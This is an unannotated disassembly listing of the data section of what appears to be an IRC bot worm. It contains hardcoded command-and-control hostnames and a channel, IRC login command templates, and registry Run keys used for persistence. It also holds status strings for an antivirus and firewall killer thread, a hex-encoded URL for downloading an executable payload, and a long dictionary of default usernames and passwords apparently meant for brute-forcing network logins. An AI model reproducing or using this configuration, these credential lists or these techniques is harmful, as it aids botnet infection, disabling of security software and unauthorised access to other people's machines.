a1Qnan		db '1#QNAN',0           ; DATA XREF: sub_4256C2:loc_4257B7o
		align 10h
a1Inf		db '1#INF',0            ; DATA XREF: sub_4256C2+D8o
		align 4
a1Ind		db '1#IND',0            ; DATA XREF: sub_4256C2+C7o
		align 10h
a1Snan		db '1#SNAN',0           ; DATA XREF: sub_4256C2+ADo
		align 4
dword_427CE8	dd 0FFFFFFFFh, 4260BAh,	4260BEh, 0FFFFFFFFh, 426129h, 42612Dh
					; DATA XREF: sub_425F03+5o
		dd 427E24h
off_427D04	dd offset loc_4264E2	; DATA XREF: sub_4264BA+8o
					; sub_4264FE+2Co ...
		dd offset sub_4264D5
		dd offset sub_4266F6
		dd offset dword_427E70
off_427D14	dd offset sub_42654C	; DATA XREF: sub_4264FE+3Ao
					; sub_426568o ...
		dd offset sub_4264D5
		dd offset loc_426732
dword_427D20	dd 0			; DATA XREF: sub_4264FE+16o
					; sub_4265D0+16o
aInvalidStringP	db 'invalid string position',0 ; DATA XREF: sub_426573+11o
		dd offset dword_427EBC
off_427D40	dd offset sub_42665B	; DATA XREF: sub_426677o
					; sub_42669A+37o ...
		dd offset sub_4264D5
		dd offset loc_426714
aStringTooLong	db 'string too long',0  ; DATA XREF: sub_42669A+11o
		dd offset dword_427F00
off_427D60	dd offset loc_4267F7	; DATA XREF: sub_4267E2o
					; ___:off_43D764o ...
		dd offset dword_427F30
off_427D68	dd offset loc_426813	; DATA XREF: sub_42682F+8o
					; sub_42686C+8o ...
		dd offset sub_4268CC
aUnknownExcepti	db 'Unknown exception',0 ; DATA XREF: sub_4268CC+7o
		align 8
dword_427D88	dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF:	sub_4268D9+Eo
		dd 3, 19930520h, 2 dup(0)
dword_427DA8	dd 0FFFFFFFFh, 426A8Ah,	426A8Eh, 0FFFFFFFFh, 426B07h, 426B0Bh
					; DATA XREF: sub_426988+5o
dword_427DC0	dd 0FFFFFFFFh, 426CFFh,	426D03h, 0FFFFFFFFh, 426D5Ch, 426D60h
					; DATA XREF: sub_426C13+5o
		dd 43D764h, 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
off_427DF0	dd offset off_43D77C	; DATA XREF: ___:00427E08o
					; ___:00427E54o ...
		dd 1, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427DF0
		dd offset dword_427DC0+18h
dword_427E10	dd 3 dup(0)		; DATA XREF: ___:00427E34o
		dd 2, 427E08h, 3 dup(0)
		dd offset off_43D77C
		dd offset dword_427E10+4
off_427E38	dd offset off_43D79C	; DATA XREF: ___:00427E50o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427E38
		dd offset off_427DF0
		dd offset dword_427DC0+18h
dword_427E5C	dd 3 dup(0)		; DATA XREF: ___:00427E80o
		dd 3, 427E50h
dword_427E70	dd 3 dup(0)		; DATA XREF: ___:00427D10o
		dd offset off_43D79C
		dd offset dword_427E5C+4
off_427E84	dd offset off_43D7BC	; DATA XREF: ___:00427E9Co
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427E84
		dd offset off_427DF0
		dd offset dword_427DC0+18h
dword_427EA8	dd 3 dup(0)		; DATA XREF: ___:00427ECCo
		dd 3, 427E9Ch
dword_427EBC	dd 3 dup(0)		; DATA XREF: ___:00427D3Co
		dd offset off_43D7BC
		dd offset dword_427EA8+4
off_427ED0	dd offset off_43D7E0	; DATA XREF: ___:00427EE8o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427ED0
dword_427EEC	dd 3 dup(0)		; DATA XREF: ___:00427F10o
		dd 1, 427EE8h
dword_427F00	dd 3 dup(0)		; DATA XREF: ___:00427D5Co
		dd offset off_43D7E0
		dd offset dword_427EEC+4
		dd offset dword_427DC0+18h
dword_427F18	dd 4 dup(0)		; DATA XREF: ___:00427F40o
		dd 1, 427F14h
dword_427F30	dd 3 dup(0)		; DATA XREF: ___:00427D64o
		dd offset off_43D764
		dd offset dword_427F18+8
		align 8
dword_427F48	dd 19930520h, 2, 427F68h, 5 dup(0) ; DATA XREF:	___:loc_426DF7o
		dd 0FFFFFFFFh, 426DE0h,	0
		dd offset sub_426DD8
dword_427F78	dd 19930520h, 2, 427F98h, 5 dup(0) ; DATA XREF:	___:loc_426E14o
		dd 0FFFFFFFFh, 426E04h,	0
		dd offset loc_426E0C
dword_427FA8	dd 19930520h, 2, 427FC8h, 1, 427FD8h, 3	dup(0) ; DATA XREF: ___:loc_426E20o
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 427FF0h, 4	dup(0)
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0D7h, 40h, 0
		dd 0FFFFFFFFh, 426E2Ah
dword_428008	dd 19930520h, 1, 428000h, 5 dup(0) ; DATA XREF:	___:loc_426E32o
		dd offset off_43D764
		align 10h
		dd 0FFFFFFFFh, 0
		dd 0Ch,	42686Ch, 0
		dd offset off_43D77C
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	426618h, 0
		dd offset off_43D79C
		align 8
		dd 0FFFFFFFFh, 0
dword_428070	dd 1Ch,	426682h, 3, 42805Ch, 428040h, 428024h ;	DATA XREF: ___:00428094o
dword_428088	dd 0			; DATA XREF: sub_426573+2Eo
					; sub_4266F6+4Bo
		dd offset sub_426568
		dd 0
		dd offset dword_428070+8
		dd 0FFFFFFFFh, 426E3Ch
dword_4280A0	dd 19930520h, 1, 428098h, 4 dup(0) ; DATA XREF:	___:loc_426E44o
		dd 0FFFFFFFFh, 426E4Eh
dword_4280C4	dd 19930520h, 1, 4280BCh, 4 dup(0) ; DATA XREF:	___:loc_426E56o
		dd 0FFFFFFFFh, 426E60h
dword_4280E8	dd 19930520h, 1, 4280E0h, 5 dup(0) ; DATA XREF:	___:loc_426E68o
		dd offset off_43D7BC
		align 10h
		dd 0FFFFFFFFh, 0
dword_428118	dd 1Ch,	4266DEh, 3, 428104h, 428040h, 428024h ;	DATA XREF: ___:0042813Co
dword_428130	dd 0			; DATA XREF: sub_42669A+2Eo
					; sub_4266F6+2Do
		dd offset sub_426677
		dd 0
		dd offset dword_428118+8
		dd 0FFFFFFFFh, 426E72h
dword_428148	dd 19930520h, 1, 428140h, 4 dup(0) ; DATA XREF:	___:loc_426E7Ao
dword_428164	dd 2, 428040h, 428024h	; DATA XREF: ___:0042817Co
dword_428170	dd 0			; DATA XREF: sub_4266F6+Fo
		dd offset sub_4264BA
		dd 0
		dd offset dword_428164
aA4A4A4A4A4gGsg	db '44444ڣSڣSڣSڣSڣS%g',0Dh,'B%g',0Dh,'B%g',0Dh,'B%g',0Dh
		db 'B%g',0Dh,'B',0
		align 10h
		dd 79h dup(0)
		dd 420D6725h, 0
		dd 34D9A0C0h, 15h dup(0)
		dd 53A3DAA3h, 2FEh dup(0)
dword_429000	dd 0			; DATA XREF: ___:0041B7A3o
		dd offset loc_401205
		dd offset sub_40D879
		dd offset sub_40D89B
		dd offset dword_40E504+1D0h
dword_429014	dd 0			; DATA XREF: ___:0041B79Eo
dword_429018	dd 0			; DATA XREF: ___:0041B794o
		dd offset sub_41D052
		dd offset sub_42026D
		dd offset sub_423936
		dd offset word_424752
dword_42902C	dd 0			; DATA XREF: ___:loc_41B78Fo
dword_429030	dd 0			; DATA XREF: sub_41B7D3+65o
		dd offset sub_4239DB
dword_429038	dd 0			; DATA XREF: sub_41B7D3:loc_41B833o
dword_42903C	dd 0			; DATA XREF: sub_41B7D3+76o
		dd offset byte_424763
dword_429044	dd 3 dup(0)		; DATA XREF: sub_41B7D3:loc_41B844o
dword_429050	dd 80000002h, 429174h, 80000002h, 4291A4h, 80000001h, 429174h
					; DATA XREF: sub_401000+7o
dword_429068	dd 6272h		; DATA XREF: sub_401000+63o
					; sub_4010AB+Bo ...
dword_42906C	dd 1B58h		; DATA XREF: ___:004016C5r
					; ___:0040175Ar
dword_429070	dd 0C8Bh		; DATA XREF: ___:004017A6r
dword_429074	dd 7E4h			; DATA XREF: sub_401ACD:loc_40461Cr
dword_429078	dd 45h			; DATA XREF: sub_401ACD+2089r
					; sub_40BACE+3Br
dword_42907C	dd 7D1h			; DATA XREF: sub_401ACD:loc_403C44r
					; sub_40BACE:loc_40BEBFr
dword_429080	dd 201h			; DATA XREF: sub_401ACD:loc_403DD0r
word_429084	dw 7C7h			; DATA XREF: sub_401ACD:loc_40473Fr
		align 4
dword_429088	dd 1			; DATA XREF: sub_401ACD+65Fr
dword_42908C	dd 1			; DATA XREF: ___:0040135Er
dword_429090	dd 1			; DATA XREF: ___:loc_401562r
					; sub_41835A+Cr
byte_429094	db 2Eh			; DATA XREF: sub_401ACD+A92r
					; sub_401ACD+B4Cr ...
		align 4
dword_429098	dd 0Ah			; DATA XREF: sub_40ACB6+3Ar
					; sub_40ACB6+60r ...
dword_42909C	dd 4			; DATA XREF: sub_4017ED+78r
					; sub_401ACD+279r ...
dword_4290A0	dd 1			; DATA XREF: sub_4017ED+72r
					; sub_401ACD+273r
aQsfposs	db 'qsfposs',0          ; DATA XREF: ___:0040127Eo
					; sub_401ACD:loc_4044A1o ...
aAbosel7Vs	db 'abosel7 vs',0       ; DATA XREF: sub_401ACD:loc_404946o
		align 4
aCool		db 'cool',0             ; DATA XREF: sub_401ACD+7DDCo
					; sub_401ACD+7EABo
		align 10h
aSaber4_ircqfor	db 'saber4.ircqforum.com',0 ; DATA XREF: ___:004016B1o
					; ___:0040174Bo
		align 4
aFaak		db '#FAAK#',0           ; DATA XREF: ___:004016D1o
					; ___:00401761o ...
		align 10h
aSaad_		db 'saad.',0            ; DATA XREF: ___:004016E8o
					; ___:00401773o
		align 4
byte_4290E8	db 73h			; DATA XREF: ___:loc_401789r
					; ___:00401797o
aCorti1_dns2go_	db 'corti1.dns2go.com',0
		align 4
aFaak_0		db '#FAAK#',0           ; DATA XREF: ___:004017ADo
		align 4
aSaad__0	db 'saad.',0            ; DATA XREF: ___:004017BFo
		align 4
byte_42910C	db 75h			; DATA XREF: ___:00401364o
					; ___:00401388w ...
		db 70h,	64h, 65h
		dd 6E697774h, 78652E64h, 65h
dword_42911C	dd 6E646977h, 61622E74h, 74h ; DATA XREF: ___:00411C51o
aWindsSerscAgts	db 'Winds Sersc Agts',0 ; DATA XREF: sub_401000+Eo
		align 4
		unicode	0, <->,0
aWinsys_dat	db 'winsys.dat',0
		align 4
aXI		db '-x+i',0             ; DATA XREF: sub_401ACD+7F27o
		align 4
aF		db '#f',0               ; DATA XREF: sub_401ACD+1D46o
					; sub_401ACD+3040o ...
		align 4
aF_0		db '#f',0               ; DATA XREF: sub_401ACD+44A3o
		align 4
aF_1		db '#f',0               ; DATA XREF: sub_401ACD+40C5o
					; sub_401ACD+4217o
		align 10h
off_429160	dd offset a@admin_com	; DATA XREF: sub_401ACD:loc_4098FCo
					; "*@admin.com"
off_429164	dd offset aMircV6_16Khale ; DATA XREF: sub_401ACD+8C3r
					; sub_401ACD+7E4Bo
					; "mIRC	v6.16 Khaled Mardam-Bey"
		dd offset aMircV6_17Khale ; "mIRC v6.17	Khaled Mardam-Bey"
		dd offset aMircV6_20Khale ; "mIRC v6.20	Khaled Mardam-Bey"
		dd offset aMircV6_21Khale ; "mIRC v6.21	Khaled Mardam-Bey"
aSoftwareMicr_0	db 'Software\Microsoft\Windows\CurrentVersion\Run',0
		align 4
		db 53h
aOftwareMicroso	db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0
		align 4
aSoftwareMicros	db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_419E7A+28o
					; sub_41A19E+28o
		align 4
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_419E7A+D4o
					; sub_41A19E+D4o
		align 4
		dd 2 dup(1), 70747468h,	772F2F3Ah, 662E7777h, 77656572h
		dd 6F746265h, 632E6E77h, 7A2F6D6Fh, 2F737678h, 73636E76h
		dd 652E6D79h, 6578h, 42993Ch, 42992Ch, 42991Ch,	429910h
		dd 429908h, 429900h, 4298F8h, 4298F0h, 4298E4h,	4298DCh
		dd 4298D4h, 4298CCh, 4298C0h, 4298B8h, 4298B0h,	4298A4h
		dd 4298A0h, 429898h, 429894h, 0
		dd offset dword_43D808
		dd offset aAdministrato_0 ; "administrator"
		dd offset aAdministrador ; "administrador"
		dd offset aAdministrateur ; "administrateur"
		dd offset aAdministrat	; "administrat"
		dd offset aAdmins	; "admins"
		dd offset aAdmin	; "admin"
		dd offset aAdm		; "adm"
		dd offset aPassword1	; "password1"
		dd offset aPassword	; "password"
		dd offset aPasswd	; "passwd"
		dd offset aPass1234	; "pass1234"
		dd offset aPass		; "pass"
		dd offset aPwd		; "pwd"
		dd offset a007		; "007"
		dd offset a1		; "1"
		dd offset a12		; "12"
		dd offset a123		; "123"
		dd offset a1234		; "1234"
		dd offset a12345	; "12345"
		dd offset a123456	; "123456"
		dd offset a1234567	; "1234567"
		dd offset a12345678	; "12345678"
		dd offset a123456789	; "123456789"
		dd offset a1234567890	; "1234567890"
		dd offset a2000		; "2000"
		dd offset a2001		; "2001"
		dd offset a2002		; "2002"
		dd offset a2003		; "2003"
		dd offset a2004		; "2004"
		dd offset aTest		; "test"
		dd offset aGuest_0	; "guest"
		dd offset aNone		; "none"
		dd offset aDemo		; "demo"
		dd offset aUnix		; "unix"
		dd offset aLinux	; "linux"
		dd offset aChangeme	; "changeme"
		dd offset aDefault	; "default"
		dd offset aSystem	; "system"
		dd offset aServer	; "server"
		dd offset aRoot		; "root"
		dd offset aNull_1	; "null"
		dd offset aQwerty	; "qwerty"
		dd offset aMail		; "mail"
		dd offset aOutlook	; "outlook"
		dd offset aWeb		; "web"
		dd offset aWww		; "www"
		dd offset aInternet	; "internet"
		dd offset aAccounts	; "accounts"
		dd offset aAccounting	; "accounting"
		dd offset aHome		; "home"
		dd offset aHomeuser	; "homeuser"
		dd offset aUser		; "user"
		dd offset aOem		; "oem"
		dd offset aOemuser	; "oemuser"
		dd offset aOeminstall	; "oeminstall"
		dd offset aWindows	; "windows"
		dd offset aWin98	; "win98"
		dd offset aWin2k	; "win2k"
		dd offset aWinxp	; "winxp"
		dd offset aWinnt	; "winnt"
		dd offset aWin2000	; "win2000"
		dd offset aQaz		; "qaz"
		dd offset aAsd		; "asd"
		dd offset aZxc		; "zxc"
		dd offset aQwe		; "qwe"
		dd offset aBob		; "bob"
		dd offset aJen		; "jen"
		dd offset aJoe		; "joe"
		dd offset aFred		; "fred"
		dd offset aBill		; "bill"
		dd offset aMike		; "mike"
		dd offset aJohn		; "john"
		dd offset aPeter	; "peter"
		dd offset aLuke		; "luke"
		dd offset aSam		; "sam"
		dd offset aSue		; "sue"
		dd offset aSusan	; "susan"
		dd offset aPeter	; "peter"
		dd offset aBrian	; "brian"
		dd offset aLee		; "lee"
		dd offset aNeil		; "neil"
		dd offset aIan		; "ian"
		dd offset aChris	; "chris"
		dd offset aEric		; "eric"
		dd offset aGeorge	; "george"
		dd offset aKate		; "kate"
		dd offset aBob		; "bob"
		dd offset aKatie	; "katie"
		dd offset aMary		; "mary"
		dd offset aLogin	; "login"
		dd offset aLoginpass	; "loginpass"
		dd offset aTechnical	; "technical"
		dd offset aBackup	; "backup"
		dd offset aExchange	; "exchange"
		dd offset aFuck		; "fuck"
		dd offset aBitch	; "bitch"
		dd offset aSlut		; "slut"
		dd offset aSex		; "sex"
		dd offset aGod		; "god"
		dd offset aHell		; "hell"
		dd offset aHello	; "hello"
		dd offset aDomain	; "domain"
		dd offset aDomainpass	; "domainpass"
		dd offset aDomainpassword ; "domainpassword"
		dd offset aDatabase	; "database"
		dd offset aAccess	; "access"
		dd offset aDbpass	; "dbpass"
		dd offset aDbpassword	; "dbpassword"
		dd offset aDatabasepass	; "databasepass"
		dd offset aData		; "data"
		dd offset aDatabasepasswo ; "databasepassword"
		dd offset aDb1		; "db1"
		dd offset aDb2		; "db2"
		dd offset aDb1234	; "db1234"
		dd offset aSa		; "sa"
		dd offset aSql		; "sql"
		dd offset aSqlpassoainsta ; "sqlpassoainstall"
		dd offset aOrainstall	; "orainstall"
		dd offset aOracle	; "oracle"
		dd offset aIbm		; "ibm"
		dd offset aCisco	; "cisco"
		dd offset aDell		; "dell"
		dd offset aCompaq	; "compaq"
		dd offset aSiemens	; "siemens"
		dd offset aHp		; "hp"
		dd offset aNokia	; "nokia"
		dd offset aXp		; "xp"
		dd offset aControl	; "control"
		dd offset aOffice	; "office"
		dd offset aBlank	; "blank"
		dd offset aWinpass	; "winpass"
		dd offset aMain		; "main"
		dd offset aLan		; "lan"
		dd offset aInternet	; "internet"
		dd offset aIntranet	; "intranet"
		dd offset aStudent	; "student"
		dd offset aTeacher	; "teacher"
		dd offset aStaff	; "staff"
		align 10h
dword_4294D0	dd 10h			; DATA XREF: sub_401ACD+AFCr
					; sub_401ACD+B28r ...
aIntranet	db 'intranet',0         ; DATA XREF: ___:004294BCo
		align 10h
aLan		db 'lan',0              ; DATA XREF: ___:004294B4o
aMain		db 'main',0             ; DATA XREF: ___:004294B0o
		align 4
aWinpass	db 'winpass',0          ; DATA XREF: ___:004294ACo
aBlank		db 'blank',0            ; DATA XREF: ___:004294A8o
		align 4
aOffice		db 'office',0           ; DATA XREF: ___:004294A4o
		align 4
aControl	db 'control',0          ; DATA XREF: ___:004294A0o
aXp		db 'xp',0               ; DATA XREF: ___:0042949Co
		align 10h
aNokia		db 'nokia',0            ; DATA XREF: ___:00429498o
		align 4
aHp		db 'hp',0               ; DATA XREF: ___:00429494o
		align 4
aSiemens	db 'siemens',0          ; DATA XREF: ___:00429490o
aCompaq		db 'compaq',0           ; DATA XREF: ___:0042948Co
		align 4
aDell		db 'dell',0             ; DATA XREF: ___:00429488o
		align 4
aCisco		db 'cisco',0            ; DATA XREF: ___:00429484o
		align 4
aIbm		db 'ibm',0              ; DATA XREF: ___:00429480o
aOrainstall	db 'orainstall',0       ; DATA XREF: ___:00429478o
		align 4
aSqlpassoainsta	db 'sqlpassoainstall',0 ; DATA XREF: ___:00429474o
		align 10h
aSql		db 'sql',0              ; DATA XREF: ___:00429470o
aSa		db 'sa',0               ; DATA XREF: sub_401ACD+1BFDo
					; ___:0042946Co
		align 4
aDb1234		db 'db1234',0           ; DATA XREF: ___:00429468o
		align 10h
aDb1		db 'db1',0              ; DATA XREF: ___:00429460o
aDatabasepasswo	db 'databasepassword',0 ; DATA XREF: ___:0042945Co
		align 4
aData		db 'data',0             ; DATA XREF: ___:00429458o
		align 10h
aDatabasepass	db 'databasepass',0     ; DATA XREF: ___:00429454o
		align 10h
aDbpassword	db 'dbpassword',0       ; DATA XREF: ___:00429450o
		align 4
aDbpass		db 'dbpass',0           ; DATA XREF: ___:0042944Co
		align 4
aAccess		db 'access',0           ; DATA XREF: ___:00429448o
		align 4
aDomainpassword	db 'domainpassword',0   ; DATA XREF: ___:00429440o
		align 4
aDomainpass	db 'domainpass',0       ; DATA XREF: ___:0042943Co
		align 4
aDomain		db 'domain',0           ; DATA XREF: ___:00429438o
		align 10h
aHello		db 'hello',0            ; DATA XREF: ___:00429434o
		align 4
aHell		db 'hell',0             ; DATA XREF: ___:00429430o
		align 10h
aGod		db 'god',0              ; DATA XREF: ___:0042942Co
aSex		db 'sex',0              ; DATA XREF: ___:00429428o
					; ___:off_4385E8o
aSlut		db 'slut',0             ; DATA XREF: ___:00429424o
		align 10h
aBitch		db 'bitch',0            ; DATA XREF: ___:00429420o
		align 4
aFuck		db 'fuck',0             ; DATA XREF: ___:0042941Co
		align 10h
aExchange	db 'exchange',0         ; DATA XREF: ___:00429418o
		align 4
aBackup		db 'backup',0           ; DATA XREF: ___:00429414o
		align 4
aTechnical	db 'technical',0        ; DATA XREF: ___:00429410o
		align 10h
aLoginpass	db 'loginpass',0        ; DATA XREF: ___:0042940Co
		align 4
aLogin		db 'login',0            ; DATA XREF: sub_401ACD+AA3o
					; ___:00429408o
		align 4
aMary		db 'mary',0             ; DATA XREF: ___:00429404o
		align 4
aKatie		db 'katie',0            ; DATA XREF: ___:00429400o
		align 4
aKate		db 'kate',0             ; DATA XREF: ___:004293F8o
		align 4
aGeorge		db 'george',0           ; DATA XREF: ___:004293F4o
		align 4
aEric		db 'eric',0             ; DATA XREF: ___:004293F0o
		align 4
aChris		db 'chris',0            ; DATA XREF: ___:004293ECo
		align 4
aIan		db 'ian',0              ; DATA XREF: ___:004293E8o
aNeil		db 'neil',0             ; DATA XREF: ___:004293E4o
		align 10h
aLee		db 'lee',0              ; DATA XREF: ___:004293E0o
aBrian		db 'brian',0            ; DATA XREF: ___:004293DCo
		align 4
aSusan		db 'susan',0            ; DATA XREF: ___:004293D4o
		align 4
aSue		db 'sue',0              ; DATA XREF: ___:004293D0o
aSam		db 'sam',0              ; DATA XREF: ___:004293CCo
aLuke		db 'luke',0             ; DATA XREF: ___:004293C8o
		align 4
aPeter		db 'peter',0            ; DATA XREF: ___:004293C4o
					; ___:004293D8o
		align 4
aJohn		db 'john',0             ; DATA XREF: ___:004293C0o
		align 4
aMike		db 'mike',0             ; DATA XREF: ___:004293BCo
		align 4
aBill		db 'bill',0             ; DATA XREF: ___:004293B8o
		align 4
aFred		db 'fred',0             ; DATA XREF: ___:004293B4o
		align 4
aJoe		db 'joe',0              ; DATA XREF: ___:004293B0o
aJen		db 'jen',0              ; DATA XREF: ___:004293ACo
aBob		db 'bob',0              ; DATA XREF: ___:004293A8o
					; ___:004293FCo
aQwe		db 'qwe',0              ; DATA XREF: ___:004293A4o
aZxc		db 'zxc',0              ; DATA XREF: ___:004293A0o
aAsd		db 'asd',0              ; DATA XREF: ___:0042939Co
aQaz		db 'qaz',0              ; DATA XREF: ___:00429398o
aWin2000	db 'win2000',0          ; DATA XREF: ___:00429394o
aWinnt		db 'winnt',0            ; DATA XREF: ___:00429390o
		align 4
aWinxp		db 'winxp',0            ; DATA XREF: ___:0042938Co
		align 10h
aWin2k		db 'win2k',0            ; DATA XREF: ___:00429388o
		align 4
aWin98		db 'win98',0            ; DATA XREF: ___:00429384o
		align 10h
aWindows	db 'windows',0          ; DATA XREF: ___:00429380o
aOeminstall	db 'oeminstall',0       ; DATA XREF: ___:0042937Co
		align 4
aOemuser	db 'oemuser',0          ; DATA XREF: ___:00429378o
aOem		db 'oem',0              ; DATA XREF: ___:00429374o
aUser		db 'user',0             ; DATA XREF: sub_401ACD+46D4o
					; ___:00429370o
		align 4
aHomeuser	db 'homeuser',0         ; DATA XREF: ___:0042936Co
		align 4
aHome		db 'home',0             ; DATA XREF: ___:00429368o
		align 4
aAccounting	db 'accounting',0       ; DATA XREF: ___:00429364o
		align 4
aAccounts	db 'accounts',0         ; DATA XREF: ___:00429360o
		align 4
aInternet	db 'internet',0         ; DATA XREF: ___:0042935Co
					; ___:004294B8o
		align 10h
aWww		db 'www',0              ; DATA XREF: ___:00429358o
aWeb		db 'web',0              ; DATA XREF: ___:00429354o
aOutlook	db 'outlook',0          ; DATA XREF: ___:00429350o
aMail		db 'mail',0             ; DATA XREF: ___:0042934Co
		align 4
aQwerty		db 'qwerty',0           ; DATA XREF: ___:00429348o
		align 10h
aNull_1		db 'null',0             ; DATA XREF: ___:00429344o
		align 4
aServer		db 'server',0           ; DATA XREF: sub_401ACD+3E90o
					; ___:0042933Co
		align 10h
aSystem		db 'system',0           ; DATA XREF: ___:00429338o
		align 4
aChangeme	db 'changeme',0         ; DATA XREF: ___:00429330o
		align 4
aLinux		db 'linux',0            ; DATA XREF: ___:0042932Co
		align 4
aUnix		db 'unix',0             ; DATA XREF: ___:00429328o
		align 4
aDemo		db 'demo',0             ; DATA XREF: ___:00429324o
		align 4
aNone		db 'none',0             ; DATA XREF: ___:00429320o
		align 4
aTest		db 'test',0             ; DATA XREF: ___:00429318o
		align 4
a2004		db '2004',0             ; DATA XREF: ___:00429314o
		align 4
a2003		db '2003',0             ; DATA XREF: sub_41AA43+BAo
					; ___:00429310o
		align 4
a2002		db '2002',0             ; DATA XREF: ___:0042930Co
		align 4
a2001		db '2001',0             ; DATA XREF: ___:00429308o
		align 4
a2000		db '2000',0             ; DATA XREF: ___:00429304o
		align 4
a1234567890	db '1234567890',0       ; DATA XREF: ___:00429300o
		align 10h
a123456789	db '123456789',0        ; DATA XREF: ___:004292FCo
		align 4
a12345678	db '12345678',0         ; DATA XREF: ___:004292F8o
		align 4
a1234567	db '1234567',0          ; DATA XREF: ___:004292F4o
a123456		db '123456',0           ; DATA XREF: ___:004292F0o
		align 4
a12345		db '12345',0            ; DATA XREF: ___:004292ECo
		align 10h
a1234		db '1234',0             ; DATA XREF: ___:004292E8o
		align 4
a123		db '123',0              ; DATA XREF: ___:004292E4o
a12		db '12',0               ; DATA XREF: ___:004292E0o
		align 10h
a1:					; DATA XREF: ___:004292DCo
		unicode	0, <1>,0
a007		db '007',0              ; DATA XREF: ___:004292D8o
aPwd		db 'pwd',0              ; DATA XREF: ___:004292D4o
aPass		db 'pass',0             ; DATA XREF: ___:004292D0o
		align 4
aPass1234	db 'pass1234',0         ; DATA XREF: ___:004292CCo
		align 10h
aPasswd		db 'passwd',0           ; DATA XREF: ___:004292C8o
		align 4
aPassword	db 'password',0         ; DATA XREF: ___:004292C4o
		align 4
aPassword1	db 'password1',0        ; DATA XREF: ___:004292C0o
		align 10h
aAdm		db 'adm',0              ; DATA XREF: ___:004292BCo
aDb2		db 'db2',0              ; DATA XREF: ___:00429464o
aOracle		db 'oracle',0           ; DATA XREF: ___:0042947Co
		align 10h
aDba		db 'dba',0
aDatabase	db 'database',0         ; DATA XREF: ___:00429444o
		align 10h
aDefault	db 'default',0          ; DATA XREF: ___:00429334o
aGuest_0	db 'guest',0            ; DATA XREF: ___:0042931Co
		align 10h
aWwwadmin	db 'wwwadmin',0
		align 4
aTeacher	db 'teacher',0          ; DATA XREF: ___:004294C4o
aStudent	db 'student',0          ; DATA XREF: ___:004294C0o
aOwner		db 'owner',0
		align 4
aComputer	db 'computer',0
		align 10h
aRoot		db 'root',0             ; DATA XREF: ___:00429340o
		align 4
aStaff		db 'staff',0            ; DATA XREF: ___:004294C8o
		align 10h
aAdmin		db 'admin',0            ; DATA XREF: ___:004292B8o
		align 4
aAdmins		db 'admins',0           ; DATA XREF: ___:004292B4o
		align 10h
aAdministrat	db 'administrat',0      ; DATA XREF: ___:004292B0o
aAdministrateur	db 'administrateur',0   ; DATA XREF: ___:004292ACo
		align 4
aAdministrador	db 'administrador',0    ; DATA XREF: ___:004292A8o
		align 4
aAdministrato_0	db 'administrator',0    ; DATA XREF: ___:004292A4o
		align 4
aMircV6_21Khale	db 'mIRC v6.21 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429170o
		align 4
aMircV6_20Khale	db 'mIRC v6.20 Khaled Mardam-Bey',0 ; DATA XREF: ___:0042916Co
		align 4
aMircV6_17Khale	db 'mIRC v6.17 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429168o
		align 4
aMircV6_16Khale	db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: ___:off_429164o
		align 4
a@admin_com	db '*@admin.com',0      ; DATA XREF: ___:off_429160o
dword_4299D8	dd 234032Dh, 6E656469h,	2036474h ; DATA	XREF: ___:0040168Co
aFailedToStartS	db '- Failed to start server, error: <%d>.',0
		align 4
dword_429A0C	dd 234032Dh, 6E656469h,	2036474h ; DATA	XREF: ___:00401641o
aServerRunningO	db '- Server running on Port: 113.',0
		align 4
unk_429A38	db  2Dh	; -		; DATA XREF: ___:00401614o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 3, 2, 2Dh
aFailedToStartA	db ' Failed to start AV/FW killer thread, error: <%d>.',0
		align 4
unk_429A78	db  2Dh	; -		; DATA XREF: ___:004015C3o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 3, 2, 2Dh
aAvFwKillerActi	db ' AV/FW Killer active.',0
		align 4
dword_429A9C	dd 234032Dh, 6E69616Dh,	202D0203h, 20746F42h, 72617473h
					; DATA XREF: ___:00401585o
		dd 2E646574h, 0
dword_429AB8	dd 25207325h, 25222064h, 2273h ; DATA XREF: ___:004014B0o
dword_429AC4	dd 255C7325h, 73h	; DATA XREF: ___:004013AAo
					; sub_415A30+7Eo
dword_429ACC	dd 73257325h, 0		; DATA XREF: ___:0040132Eo
					; sub_40F6B4+EAo ...
unk_429AD4	db  2Dh	; -		; DATA XREF: sub_4017ED+F2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aConnectedToS_	db 'Connected to %s.',0
		align 4
aNickSUserS00S	db 'NICK %s',0Dh,0Ah    ; DATA XREF: sub_401955+62o
		db 'USER %s 0 0 :%s',0Dh,0Ah,0
		align 10h
aPassS		db 'PASS %s',0Dh,0Ah,0  ; DATA XREF: sub_401955+35o
		align 4
aModeSS_0	db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7F2Fo
		align 4
aUserhostS	db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7F17o
		align 4
unk_429B3C	db  2Dh	; -		; DATA XREF: sub_401ACD+7F0Ao
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedIn_	db 'User: %s logged in.',0
unk_429B5C	db  2Dh	; -		; DATA XREF: sub_401ACD+7EEDo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPasswordAccept	db 'Password accepted.',0
		align 4
